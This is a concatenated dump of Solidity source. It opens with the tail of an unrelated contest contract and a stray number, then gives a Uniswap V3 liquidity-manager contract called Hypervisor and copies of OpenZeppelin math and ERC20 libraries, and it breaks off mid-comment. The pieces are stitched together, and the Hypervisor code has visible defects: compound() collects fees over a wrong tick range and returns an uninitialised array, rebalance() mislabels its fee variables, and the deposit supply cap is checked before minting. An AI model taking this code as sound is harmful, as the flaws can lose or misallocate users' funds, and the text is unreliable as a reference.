require(contest.randomValuesSet == true, "Random values not yet available");
require(contest.rewardsCanBeClaimed == false, "Random values already assigned");
contest.rows = _shuffleScores(contest.randomValues[0]);
contest.cols = _shuffleScores(contest.randomValues[1]);
contest.rewardsCanBeClaimed = true;
contests[contestId] = contest;
emit ScoresAssigned(contest.id);
}
| 5,673,779 |
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.7.6;
import "@openzeppelin/contracts/math/Math.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/math/SignedSafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/drafts/ERC20Permit.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@uniswap/v3-core/contracts/interfaces/callback/IUniswapV3MintCallback.sol";
import "@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol";
import "@uniswap/v3-core/contracts/libraries/TickMath.sol";
import "@uniswap/v3-core/contracts/libraries/FullMath.sol";
import "@uniswap/v3-periphery/contracts/libraries/LiquidityAmounts.sol";
/// @title Hypervisor
/// @notice A Uniswap V2-like interface with fungible liquidity to Uniswap V3
/// which allows for arbitrary liquidity provision: one-sided, lop-sided, and balanced
contract Hypervisor is IUniswapV3MintCallback, ERC20Permit, ReentrancyGuard {
using SafeERC20 for IERC20;
using SafeMath for uint256;
using SignedSafeMath for int256;
IUniswapV3Pool public pool;
IERC20 public token0;
IERC20 public token1;
uint24 public fee;
int24 public tickSpacing;
int24 public baseLower;
int24 public baseUpper;
int24 public limitLower;
int24 public limitUpper;
address public owner;
uint256 public deposit0Max;
uint256 public deposit1Max;
uint256 public maxTotalSupply;
address public whitelistedAddress;
bool public directDeposit; /// enter uni on deposit (avoid if client uses public rpc)
uint256 public constant PRECISION = 1e36;
bool mintCalled;
event Deposit(
address indexed sender,
address indexed to,
uint256 shares,
uint256 amount0,
uint256 amount1
);
event Withdraw(
address indexed sender,
address indexed to,
uint256 shares,
uint256 amount0,
uint256 amount1
);
event Rebalance(
int24 tick,
uint256 totalAmount0,
uint256 totalAmount1,
uint256 feeAmount0,
uint256 feeAmount1,
uint256 totalSupply
);
/// @param _pool Uniswap V3 pool for which liquidity is managed
/// @param _owner Owner of the Hypervisor
constructor(
address _pool,
address _owner,
string memory name,
string memory symbol
) ERC20Permit(name) ERC20(name, symbol) {
require(_pool != address(0));
require(_owner != address(0));
pool = IUniswapV3Pool(_pool);
token0 = IERC20(pool.token0());
token1 = IERC20(pool.token1());
require(address(token0) != address(0));
require(address(token1) != address(0));
fee = pool.fee();
tickSpacing = pool.tickSpacing();
owner = _owner;
maxTotalSupply = 0; /// no cap
deposit0Max = uint256(-1);
deposit1Max = uint256(-1);
}
/// @notice Deposit tokens
/// @param deposit0 Amount of token0 transfered from sender to Hypervisor
/// @param deposit1 Amount of token1 transfered from sender to Hypervisor
/// @param to Address to which liquidity tokens are minted
/// @param from Address from which asset tokens are transferred
/// @return shares Quantity of liquidity tokens minted as a result of deposit
function deposit(
uint256 deposit0,
uint256 deposit1,
address to,
address from,
uint256[4] memory inMin
) nonReentrant external returns (uint256 shares) {
require(deposit0 > 0 || deposit1 > 0);
require(deposit0 <= deposit0Max && deposit1 <= deposit1Max);
require(to != address(0) && to != address(this), "to");
require(msg.sender == whitelistedAddress, "WHE");
/// update fees
zeroBurn();
uint160 sqrtPrice = TickMath.getSqrtRatioAtTick(currentTick());
uint256 price = FullMath.mulDiv(uint256(sqrtPrice).mul(uint256(sqrtPrice)), PRECISION, 2**(96 * 2));
(uint256 pool0, uint256 pool1) = getTotalAmounts();
shares = deposit1.add(deposit0.mul(price).div(PRECISION));
if (deposit0 > 0) {
token0.safeTransferFrom(from, address(this), deposit0);
}
if (deposit1 > 0) {
token1.safeTransferFrom(from, address(this), deposit1);
}
uint256 total = totalSupply();
if (total != 0) {
uint256 pool0PricedInToken1 = pool0.mul(price).div(PRECISION);
shares = shares.mul(total).div(pool0PricedInToken1.add(pool1));
if (directDeposit) {
addLiquidity(
baseLower,
baseUpper,
address(this),
token0.balanceOf(address(this)),
token1.balanceOf(address(this)),
[inMin[0], inMin[1]]
);
addLiquidity(
limitLower,
limitUpper,
address(this),
token0.balanceOf(address(this)),
token1.balanceOf(address(this)),
[inMin[2],inMin[3]]
);
}
}
_mint(to, shares);
emit Deposit(from, to, shares, deposit0, deposit1);
/// Check total supply cap not exceeded. A value of 0 means no limit.
require(maxTotalSupply == 0 || total <= maxTotalSupply, "max");
}
/// @notice Update fees of the positions
/// @return baseLiquidity Fee of base position
/// @return limitLiquidity Fee of limit position
function zeroBurn() internal returns(uint128 baseLiquidity, uint128 limitLiquidity) {
/// update fees for inclusion
(baseLiquidity, , ) = _position(baseLower, baseUpper);
if (baseLiquidity > 0) {
pool.burn(baseLower, baseUpper, 0);
}
(limitLiquidity, , ) = _position(limitLower, limitUpper);
if (limitLiquidity > 0) {
pool.burn(limitLower, limitUpper, 0);
}
}
/// @notice Pull liquidity tokens from liquidity and receive the tokens
/// @param shares Number of liquidity tokens to pull from liquidity
/// @return base0 amount of token0 received from base position
/// @return base1 amount of token1 received from base position
/// @return limit0 amount of token0 received from limit position
/// @return limit1 amount of token1 received from limit position
function pullLiquidity(
uint256 shares,
uint256[4] memory minAmounts
) external onlyOwner returns(
uint256 base0,
uint256 base1,
uint256 limit0,
uint256 limit1
) {
zeroBurn();
(base0, base1) = _burnLiquidity(
baseLower,
baseUpper,
_liquidityForShares(baseLower, baseUpper, shares),
address(this),
false,
minAmounts[0],
minAmounts[1]
);
(limit0, limit1) = _burnLiquidity(
limitLower,
limitUpper,
_liquidityForShares(limitLower, limitUpper, shares),
address(this),
false,
minAmounts[2],
minAmounts[3]
);
}
function _baseLiquidityForShares(uint256 shares) internal view returns (uint128) {
return _liquidityForShares(baseLower, baseUpper, shares);
}
function _limitLiquidityForShares(uint256 shares) internal view returns (uint128) {
return _liquidityForShares(limitLower, limitUpper, shares);
}
/// @param shares Number of liquidity tokens to redeem as pool assets
/// @param to Address to which redeemed pool assets are sent
/// @param from Address from which liquidity tokens are sent
/// @return amount0 Amount of token0 redeemed by the submitted liquidity tokens
/// @return amount1 Amount of token1 redeemed by the submitted liquidity tokens
function withdraw(
uint256 shares,
address to,
address from,
uint256[4] memory minAmounts
) nonReentrant external returns (uint256 amount0, uint256 amount1) {
require(shares > 0, "shares");
require(to != address(0), "to");
/// update fees
zeroBurn();
/// Withdraw liquidity from Uniswap pool
(uint256 base0, uint256 base1) = _burnLiquidity(
baseLower,
baseUpper,
_baseLiquidityForShares(shares),
to,
false,
minAmounts[0],
minAmounts[1]
);
(uint256 limit0, uint256 limit1) = _burnLiquidity(
limitLower,
limitUpper,
_limitLiquidityForShares(shares),
to,
false,
minAmounts[2],
minAmounts[3]
);
// Push tokens proportional to unused balances
uint256 unusedAmount0 = token0.balanceOf(address(this)).mul(shares).div(totalSupply());
uint256 unusedAmount1 = token1.balanceOf(address(this)).mul(shares).div(totalSupply());
if (unusedAmount0 > 0) token0.safeTransfer(to, unusedAmount0);
if (unusedAmount1 > 0) token1.safeTransfer(to, unusedAmount1);
amount0 = base0.add(limit0).add(unusedAmount0);
amount1 = base1.add(limit1).add(unusedAmount1);
require( from == msg.sender, "own");
_burn(from, shares);
emit Withdraw(from, to, shares, amount0, amount1);
}
/// @param _baseLower The lower tick of the base position
/// @param _baseUpper The upper tick of the base position
/// @param _limitLower The lower tick of the limit position
/// @param _limitUpper The upper tick of the limit position
/// @param feeRecipient Address of recipient of 10% of earned fees since last rebalance
function rebalance(
int24 _baseLower,
int24 _baseUpper,
int24 _limitLower,
int24 _limitUpper,
address feeRecipient,
uint256[4] memory inMin,
uint256[4] memory outMin
) nonReentrant external onlyOwner {
require(
_baseLower < _baseUpper &&
_baseLower % tickSpacing == 0 &&
_baseUpper % tickSpacing == 0
);
require(
_limitLower < _limitUpper &&
_limitLower % tickSpacing == 0 &&
_limitUpper % tickSpacing == 0
);
require(
_limitUpper != _baseUpper ||
_limitLower != _baseLower
);
require(feeRecipient != address(0));
/// update fees
(uint128 baseLiquidity, uint128 limitLiquidity) = zeroBurn();
/// Withdraw all liquidity and collect all fees from Uniswap pool
(, uint256 feesLimit0, uint256 feesLimit1) = _position(baseLower, baseUpper);
(, uint256 feesBase0, uint256 feesBase1) = _position(limitLower, limitUpper);
uint256 fees0 = feesBase0.add(feesLimit0);
uint256 fees1 = feesBase1.add(feesLimit1);
(baseLiquidity, , ) = _position(baseLower, baseUpper);
(limitLiquidity, , ) = _position(limitLower, limitUpper);
_burnLiquidity(baseLower, baseUpper, baseLiquidity, address(this), true, outMin[0], outMin[1]);
_burnLiquidity(limitLower, limitUpper, limitLiquidity, address(this), true, outMin[2], outMin[3]);
/// transfer 10% of fees for VISR buybacks
if (fees0 > 0) token0.safeTransfer(feeRecipient, fees0.div(10));
if (fees1 > 0) token1.safeTransfer(feeRecipient, fees1.div(10));
emit Rebalance(
currentTick(),
token0.balanceOf(address(this)),
token1.balanceOf(address(this)),
fees0,
fees1,
totalSupply()
);
uint256[2] memory addMins = [inMin[0],inMin[1]];
baseLower = _baseLower;
baseUpper = _baseUpper;
addLiquidity(
baseLower,
baseUpper,
address(this),
token0.balanceOf(address(this)),
token1.balanceOf(address(this)),
addMins
);
addMins = [inMin[2],inMin[3]];
limitLower = _limitLower;
limitUpper = _limitUpper;
addLiquidity(
limitLower,
limitUpper,
address(this),
token0.balanceOf(address(this)),
token1.balanceOf(address(this)),
addMins
);
}
/// @notice Compound pending fees
/// @return baseToken0Owed Pending fees of base token0
/// @return baseToken1Owed Pending fees of base token1
/// @return limitToken0Owed Pending fees of limit token0
/// @return limitToken1Owed Pending fees of limit token1
function compound() external onlyOwner returns (
uint128 baseToken0Owed,
uint128 baseToken1Owed,
uint128 limitToken0Owed,
uint128 limitToken1Owed,
uint256[4] memory inMin
) {
// update fees for compounding
zeroBurn();
(, baseToken0Owed,baseToken1Owed) = _position(baseLower, baseUpper);
(, limitToken0Owed,limitToken1Owed) = _position(limitLower, limitUpper);
// collect fees
pool.collect(address(this), baseLower, baseLower, baseToken0Owed, baseToken1Owed);
pool.collect(address(this), limitLower, limitUpper, limitToken0Owed, limitToken1Owed);
addLiquidity(
baseLower,
baseUpper,
address(this),
token0.balanceOf(address(this)),
token1.balanceOf(address(this)),
[inMin[0],inMin[1]]
);
addLiquidity(
limitLower,
limitUpper,
address(this),
token0.balanceOf(address(this)),
token1.balanceOf(address(this)),
[inMin[2],inMin[3]]
);
}
/// @notice Add tokens to base liquidity
/// @param amount0 Amount of token0 to add
/// @param amount1 Amount of token1 to add
function addBaseLiquidity(uint256 amount0, uint256 amount1, uint256[2] memory inMin) external onlyOwner {
addLiquidity(
baseLower,
baseUpper,
address(this),
amount0 == 0 && amount1 == 0 ? token0.balanceOf(address(this)) : amount0,
amount0 == 0 && amount1 == 0 ? token1.balanceOf(address(this)) : amount1,
inMin
);
}
/// @notice Add tokens to limit liquidity
/// @param amount0 Amount of token0 to add
/// @param amount1 Amount of token1 to add
function addLimitLiquidity(uint256 amount0, uint256 amount1, uint256[2] memory inMin) external onlyOwner {
addLiquidity(
limitLower,
limitUpper,
address(this),
amount0 == 0 && amount1 == 0 ? token0.balanceOf(address(this)) : amount0,
amount0 == 0 && amount1 == 0 ? token1.balanceOf(address(this)) : amount1,
inMin
);
}
/// @notice Add Liquidity
function addLiquidity(
int24 tickLower,
int24 tickUpper,
address payer,
uint256 amount0,
uint256 amount1,
uint256[2] memory inMin
) internal {
uint128 liquidity = _liquidityForAmounts(tickLower, tickUpper, amount0, amount1);
_mintLiquidity(tickLower, tickUpper, liquidity, payer, inMin[0], inMin[1]);
}
/// @notice Adds the liquidity for the given position
/// @param tickLower The lower tick of the position in which to add liquidity
/// @param tickUpper The upper tick of the position in which to add liquidity
/// @param liquidity The amount of liquidity to mint
/// @param payer Payer Data
/// @param amount0Min Minimum amount of token0 that should be paid
/// @param amount1Min Minimum amount of token1 that should be paid
function _mintLiquidity(
int24 tickLower,
int24 tickUpper,
uint128 liquidity,
address payer,
uint256 amount0Min,
uint256 amount1Min
) internal {
if (liquidity > 0) {
mintCalled = true;
(uint256 amount0, uint256 amount1) = pool.mint(
address(this),
tickLower,
tickUpper,
liquidity,
abi.encode(payer)
);
require(amount0 >= amount0Min && amount1 >= amount1Min, 'PSC');
}
}
/// @notice Burn liquidity from the sender and collect tokens owed for the liquidity
/// @param tickLower The lower tick of the position for which to burn liquidity
/// @param tickUpper The upper tick of the position for which to burn liquidity
/// @param liquidity The amount of liquidity to burn
/// @param to The address which should receive the fees collected
/// @param collectAll If true, collect all tokens owed in the pool, else collect the owed tokens of the burn
/// @return amount0 The amount of fees collected in token0
/// @return amount1 The amount of fees collected in token1
function _burnLiquidity(
int24 tickLower,
int24 tickUpper,
uint128 liquidity,
address to,
bool collectAll,
uint256 amount0Min,
uint256 amount1Min
) internal returns (uint256 amount0, uint256 amount1) {
if (liquidity > 0) {
/// Burn liquidity
(uint256 owed0, uint256 owed1) = pool.burn(tickLower, tickUpper, liquidity);
require(owed0 >= amount0Min && owed1 >= amount1Min, "PSC");
// Collect amount owed
uint128 collect0 = collectAll ? type(uint128).max : _uint128Safe(owed0);
uint128 collect1 = collectAll ? type(uint128).max : _uint128Safe(owed1);
if (collect0 > 0 || collect1 > 0) {
(amount0, amount1) = pool.collect(to, tickLower, tickUpper, collect0, collect1);
}
}
}
/// @notice Get the liquidity amount for given liquidity tokens
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param shares Shares of position
/// @return The amount of liquidity toekn for shares
function _liquidityForShares(
int24 tickLower,
int24 tickUpper,
uint256 shares
) internal view returns (uint128) {
(uint128 position, , ) = _position(tickLower, tickUpper);
return _uint128Safe(uint256(position).mul(shares).div(totalSupply()));
}
/// @notice Get the info of the given position
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @return liquidity The amount of liquidity of the position
/// @return tokensOwed0 Amount of token0 owed
/// @return tokensOwed1 Amount of token1 owed
function _position(int24 tickLower, int24 tickUpper)
internal
view
returns (
uint128 liquidity,
uint128 tokensOwed0,
uint128 tokensOwed1
)
{
bytes32 positionKey = keccak256(abi.encodePacked(address(this), tickLower, tickUpper));
(liquidity, , , tokensOwed0, tokensOwed1) = pool.positions(positionKey);
}
/// @notice Callback function of uniswapV3Pool mint
function uniswapV3MintCallback(
uint256 amount0,
uint256 amount1,
bytes calldata data
) external override {
require(msg.sender == address(pool));
require(mintCalled == true);
mintCalled = false;
if (amount0 > 0) token0.safeTransfer(msg.sender, amount0);
if (amount1 > 0) token1.safeTransfer(msg.sender, amount1);
}
/// @return total0 Quantity of token0 in both positions and unused in the Hypervisor
/// @return total1 Quantity of token1 in both positions and unused in the Hypervisor
function getTotalAmounts() public view returns (uint256 total0, uint256 total1) {
(, uint256 base0, uint256 base1) = getBasePosition();
(, uint256 limit0, uint256 limit1) = getLimitPosition();
total0 = token0.balanceOf(address(this)).add(base0).add(limit0);
total1 = token1.balanceOf(address(this)).add(base1).add(limit1);
}
/// @return liquidity Amount of total liquidity in the base position
/// @return amount0 Estimated amount of token0 that could be collected by
/// burning the base position
/// @return amount1 Estimated amount of token1 that could be collected by
/// burning the base position
function getBasePosition()
public
view
returns (
uint128 liquidity,
uint256 amount0,
uint256 amount1
)
{
(uint128 positionLiquidity, uint128 tokensOwed0, uint128 tokensOwed1) = _position(
baseLower,
baseUpper
);
(amount0, amount1) = _amountsForLiquidity(baseLower, baseUpper, positionLiquidity);
amount0 = amount0.add(uint256(tokensOwed0));
amount1 = amount1.add(uint256(tokensOwed1));
liquidity = positionLiquidity;
}
/// @return liquidity Amount of total liquidity in the limit position
/// @return amount0 Estimated amount of token0 that could be collected by
/// burning the limit position
/// @return amount1 Estimated amount of token1 that could be collected by
/// burning the limit position
function getLimitPosition()
public
view
returns (
uint128 liquidity,
uint256 amount0,
uint256 amount1
)
{
(uint128 positionLiquidity, uint128 tokensOwed0, uint128 tokensOwed1) = _position(
limitLower,
limitUpper
);
(amount0, amount1) = _amountsForLiquidity(limitLower, limitUpper, positionLiquidity);
amount0 = amount0.add(uint256(tokensOwed0));
amount1 = amount1.add(uint256(tokensOwed1));
liquidity = positionLiquidity;
}
/// @notice Get the amounts of the given numbers of liquidity tokens
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param liquidity The amount of liquidity tokens
/// @return Amount of token0 and token1
function _amountsForLiquidity(
int24 tickLower,
int24 tickUpper,
uint128 liquidity
) internal view returns (uint256, uint256) {
(uint160 sqrtRatioX96, , , , , , ) = pool.slot0();
return
LiquidityAmounts.getAmountsForLiquidity(
sqrtRatioX96,
TickMath.getSqrtRatioAtTick(tickLower),
TickMath.getSqrtRatioAtTick(tickUpper),
liquidity
);
}
/// @notice Get the liquidity amount of the given numbers of token0 and token1
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param amount0 The amount of token0
/// @param amount0 The amount of token1
/// @return Amount of liquidity tokens
function _liquidityForAmounts(
int24 tickLower,
int24 tickUpper,
uint256 amount0,
uint256 amount1
) internal view returns (uint128) {
(uint160 sqrtRatioX96, , , , , , ) = pool.slot0();
return
LiquidityAmounts.getLiquidityForAmounts(
sqrtRatioX96,
TickMath.getSqrtRatioAtTick(tickLower),
TickMath.getSqrtRatioAtTick(tickUpper),
amount0,
amount1
);
}
/// @return tick Uniswap pool's current price tick
function currentTick() public view returns (int24 tick) {
(, tick, , , , , ) = pool.slot0();
}
function _uint128Safe(uint256 x) internal pure returns (uint128) {
assert(x <= type(uint128).max);
return uint128(x);
}
/// @param _address Array of addresses to be appended
function setWhitelist(address _address) external onlyOwner {
whitelistedAddress = _address;
}
/// @notice Remove Whitelisted
function removeWhitelisted() external onlyOwner {
whitelistedAddress = address(0);
}
/// @notice Toggle Direct Deposit
function toggleDirectDeposit() external onlyOwner {
directDeposit = !directDeposit;
}
function transferOwnership(address newOwner) external onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
modifier onlyOwner {
require(msg.sender == owner, "only owner");
_;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @title SignedSafeMath
* @dev Signed math operations with safety checks that revert on error.
*/
library SignedSafeMath {
int256 constant private _INT256_MIN = -2**255;
/**
* @dev Returns the multiplication of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
require(!(a == -1 && b == _INT256_MIN), "SignedSafeMath: multiplication overflow");
int256 c = a * b;
require(c / a == b, "SignedSafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two signed integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != 0, "SignedSafeMath: division by zero");
require(!(b == -1 && a == _INT256_MIN), "SignedSafeMath: division overflow");
int256 c = a / b;
return c;
}
/**
* @dev Returns the subtraction of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a), "SignedSafeMath: subtraction overflow");
return c;
}
/**
* @dev Returns the addition of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a), "SignedSafeMath: addition overflow");
return c;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
